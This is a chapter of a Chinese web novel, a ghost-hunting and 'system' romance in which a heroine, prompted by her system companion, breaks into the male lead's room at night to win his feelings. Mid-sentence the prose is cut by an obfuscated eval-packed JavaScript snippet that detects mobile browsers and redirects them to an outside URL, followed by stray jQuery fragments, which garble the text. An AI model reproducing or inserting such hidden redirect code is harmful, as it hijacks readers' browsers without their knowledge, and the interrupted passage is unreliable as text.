沈明雪有目的性地去看，她食指放到棺盖上点点：“谢公子，你还记得这个吗？”
脖子上那个形似人脸的图案。
谢楚看过去，轻点头。
她又道：“我们昨日在另一个鬼身上也发现了一模一样的痕迹，也是因为它，我打出的符咒没有效果。”
谢楚明白沈明雪的意思，沉吟片刻。
几个月前，也同样发生过类似的事情，那时他们遇上的鬼顶多也就是怨鬼级别，但沈明雪的符咒却无法诛灭它，这说到底是不合常规的。
“你们谢家不是一直以来都对这种标识一类的东西颇有研究吗，怎么谢公子竟然都看不出来吗？”沈思策见他许久不答，插了话。
谢楚道：“我的确从未见过这个图案，若是你们情愿，请稍等几日，待我去向家父请教一番。”
“需要我们等几天啊？”
“七日之内，谢某一定带着结果上沈家拜访。”
*
因为无法对拼面鬼施法，不能确定它是否被抹杀，因此四人便将它绑着带回了沈家。
沈翘听闻他们说完这件事后表现得也很讶然，起初还以为是一起寻常的案件，没想到竟然牵扯上了前几个月那件还未解决的事情。
不过既然谢楚都已经去向谢家主请教了，他们也只好等待着，看谢家那边怎么说。
沈扶雀一直忍着没有问小白关于数值的事，这下回了家，她心急如焚地将它叫来询问。
白面团子点点头，闭上眼睛开始查询数值，沈扶雀焦急等待了大半天，看到的却是小白越来越牵强的笑容，她那一点点期待瞬间被浇灭了。
“额……亲爱的宿主大人……”
“有话直说。”沈扶雀眼中被一丝急躁替代，差不多已经预料到了结果，一点心情都没有了。
小白低眉顺眼的，小声说：“一个非常不好的消息，角色沉翊的仇恨值下降了一个数值点……”
沈扶雀一拍桌子，她预料到最坏的消息也不过是停滞不前，实在是没有想到竟然还退了。
“什么！凭什么？你们的计算是不是出差错了？”
小白立刻飞远了些，好声好气劝解她：“宿主大人，您冷静一点啊！小的也不知道为什么会这样啊，也许是最近天气好，导致那小子的心情也很好吧……”
“少骗我了！”沈扶雀扶着椅背一屁股坐下来，满脸尽是颓丧，心里烦躁得不行，“我不要再去完成你们的这个什么破任务了！我做不了，快放我走！”
人一旦尝到甜头就再也不愿意过从前的苦日子了，前几日一口气将沉翊的仇恨值从个位数升到了十五，她开始对接下来的进度怀有期待，可是却迎来这么个坏消息，她本来就不是有耐心的人，挫败感愈来的强。
小白欲哭无泪：“宿主大人！这件事小的说了不算啊！您再坚持坚持，千万不要放弃啊！”
沈扶雀手肘支在桌面上托着下巴，目视前方思考着事情，过了会儿，说：“要不，我再去给他一刀，或者射他一箭？”
“当然可以了！”
小白先说着好话，靠近时逐渐开始面露为难：“只是，尊敬的宿主大人，您以前不是也试过吗，虽然有效果，但是……”
它停顿了一会儿，“您忘了吗，后来那小子恢复之后，数值就又回来了……”
沈扶雀一脚踹开脚底下的小物件，“咣叽”一声趴到桌子上，脸埋到臂弯里，哝哝的声音传出来：“那要怎么做！”
好奇怪，如果有人故意给了她一刀，那她一定会记仇一辈子的，下辈子也不会原谅这个人的！
白面团子摸着下巴稍做思索，绕着沈扶雀转了个小圈，变声期小男孩的嗓音又在她头顶响起来：“宿主大人，虽然小的不是很清楚你们人类之间的事，但是小的还记得上次出去玩的时候——”
“又是出去玩！我每天都绞劲脑汁，你怎么就那么有兴致！怎么会有你这么不靠谱的系统？”沈扶雀心情正差着，都没来得及听它把话说完，就忍不住想动手了。
“宿主大人饶命！”小白在半空中转了个大圈躲开了沈扶雀即将发出的攻击，大声喊叫：“宿主大人，小的可不是单纯去玩，是带着目的去的！”
小白觉得自己冤，它虽然是个不太靠谱且爱摆烂的系统，但是它也承受了其他系统不能承受的东西，试问除了它，谁还能受得了沈扶雀这个动不动就发火的坏脾气。
“看人家小孩蹲着斗蛐蛐，是你带着什么目的性去的？”沈扶雀叉腰，气势汹汹。
小白心虚地躲避沈扶雀对自己的质问，连忙引进正事，轻咳了一声：“宿主大人，虽然小的不是很懂你们人类之间的事，但是小的在人间探访了许多次，也略微了解一二，若是身体上的物理攻击伤害不到他，那您可以从另一个方面想办法啊。”
沈扶雀抓抓脑袋顶的头发：“另一个方面是哪个方面？”
“就是……”小白欲言又止，“宿主大人，关于这个人家不能直接告诉你了，会被视为作弊的哦~”
“说话只说一半，你是想死吗。”
小白见她仍不开窍，发出一声叹气，想了想该怎么提示她：“宿主大人，小的记得之前出门，遇到一个女子夜闯青楼，把自己正在寻欢作乐的丈夫砍死的事情。”
沈扶雀皱了一下眉头，“啊，你每天都往哪里乱逛啊……怎么还知道青楼里的事情。”
小白挠挠脸，疑惑她的注意力怎么随便乱放，它当然可以知道了，因为这是它自己瞎编的。
“这，这不是重点吧——您仔细想想，能让这名女子做出这样的事，她一定是对这个男子仇恨极深的，否则，谁愿意去沾一手血呢？”
沈扶雀听不明白：“你想说什么？”
干嘛突然聊起来别人家的事了。
小白叹一声气，甩了一下头，故作深沉道：“小的只是想告诉宿主大人，千万不能随便辜负一个人的感情，否则会发生不好的事情哦。”
“你在讲什么……”
沈扶雀话未说尽，突然止住，呆呆地反应了两秒钟，而后眼珠灵动一转。
没想到这白面团子还懂这些。
是夜。
沉翊安静坐于房中桌台前，只有面前的一盏灯亮着，他手执着笔，在桌上那张信纸上落下最后一个字后，将它揉碎在手中，丢进桌下的畚斗中。
是写满了文字的一张信纸，他不会寄回家中去，也不会有人想收到，也不会有人想看到。
沉翊撂下东西起身，来到剑架前，抽剑出鞘，用洗得干净的棉布包围住，一路擦拭下去，再次展开时，上面布满了几粒小黑点，他甩了两下之后，又不见了。
余光中倏然出现了一个小黑影，沉翊下意识警觉看过去，只见外面的人因着那盏昏暗的灯映下一个影子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385517|168463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，她发髻梳成两个尖尖，就像在头顶长了一对狐狸耳朵，常爱用飘然的丝发带，风一吹，就跟着一起飞，中间生出一撮不听话的毛发，竖在头顶。
外头的人手扒着门框，脸就快要贴上去，让人辨不清是要偷看还是偷听。
沉翊装作没看见，掀起灯罩，低下身子吹灭了唯一燃着的一盏灯，一瞬间，无论里外通通黑了下来，什么都看不到了。
他知道，她是有些怕黑的，果然在灯熄灭不到一会儿，她就走开了，踏着声音愈来愈小的步子。
沉翊脱下外衣，将其挂在檀木衣架上，掀起被角，盖住腰以下，平躺于床上。
今晚没什么星辰，月亮也不算很亮，刚熄灯的时候仿佛整个世界都暗下来了，过会儿之后，稍微能看清一些了，可仍然无法与前几天的月色相比。
他阖上双目，即将入睡时，门口传过来一阵悉悉索索的动静，沉翊转动目光看过去，听得出门口有个人正在用铁丝一类的东西试图撬开他的门锁，他沉沉望着，不出几时，“咔吧”一声，她撬锁成功了，带着一阵风大咧咧推开了门，生怕他不知道似的。
沉翊依旧没有开口说话，沈扶雀转过身又替他关上了门，踩着步子走近，站在一旁观望着他。
四周都很黑，她又不是猫，又看不清，不知道在看什么。
沈扶雀弯下腰，两只手触碰到了床边，摸来摸去地，摸了一会儿，沉翊就要忍不住坐起来时，却怎么都没想到，毫无预兆地，她“扑通”一声，隔着被子整个人趴在了他身上。
沉翊一滞，脸色变得很复杂，抬手撩开被角就想离开，可沈扶雀却是死死抓着他的手臂，强势命令：“不许走！我不准你走！”
“你想干什么。”他没有强行甩开她，回过头去问。
她从门口往这边走的时候，他脑子里已经预过很多种可能，她会过来扇他，捶他，还是踢他……其实她很少能有真的伤到他的时候，每次都只是自己沾沾自喜，真是挺可笑的。
“我，”沈扶雀停顿了一下，“我要你和我一起睡觉！”
沉翊唇线绷直，眼神冷淡，欲言又止。
沈扶雀跳下来，拦在他身前，手心撑在他胸前使劲推：“躺下，我命令你躺下。”
他神情依旧冷漠，或者说不知该作何反应，抓着沈扶雀的手拉到另一边，给自己让开路，而后欲要抬脚离开，只是刚走了没两步，身后传过来她气急跺地板的声音。
“我都说了不准你走！你给我回来！”
沈扶雀紧追上去，赶在沉翊前头，张开两条胳膊挡着门，她瘪着嘴，眸中映着细碎的光，“都怪你，你那天偏要和我讲夜啼鬼，我已经被你吓得睡不着觉了……”
沉翊不语，如果他没记错的话，问的人分明是她自己，而且即使他有回答，也不过只是说了句夜啼鬼是小儿夭折所导致的，并无其他。
许是她自己让那夜啼鬼的长相吓着了，反过来怨旁人。
难不成是因为这个又气不过了所以才又来找他的吗？
沈扶雀见他许久不答话，只当是他听信了她说的话，湿漉漉的眼睛眨了眨，一下子扑过去搂住沉翊的腰，惊得他下意识退了半步，差点身形不稳摔倒在地。
他脊背僵直。
她仰着脸，下巴顶着他，忽视掉沉翊低头看向她时眼中强烈的不可置信，小脸一板：“我害怕，我要你哄我睡觉。”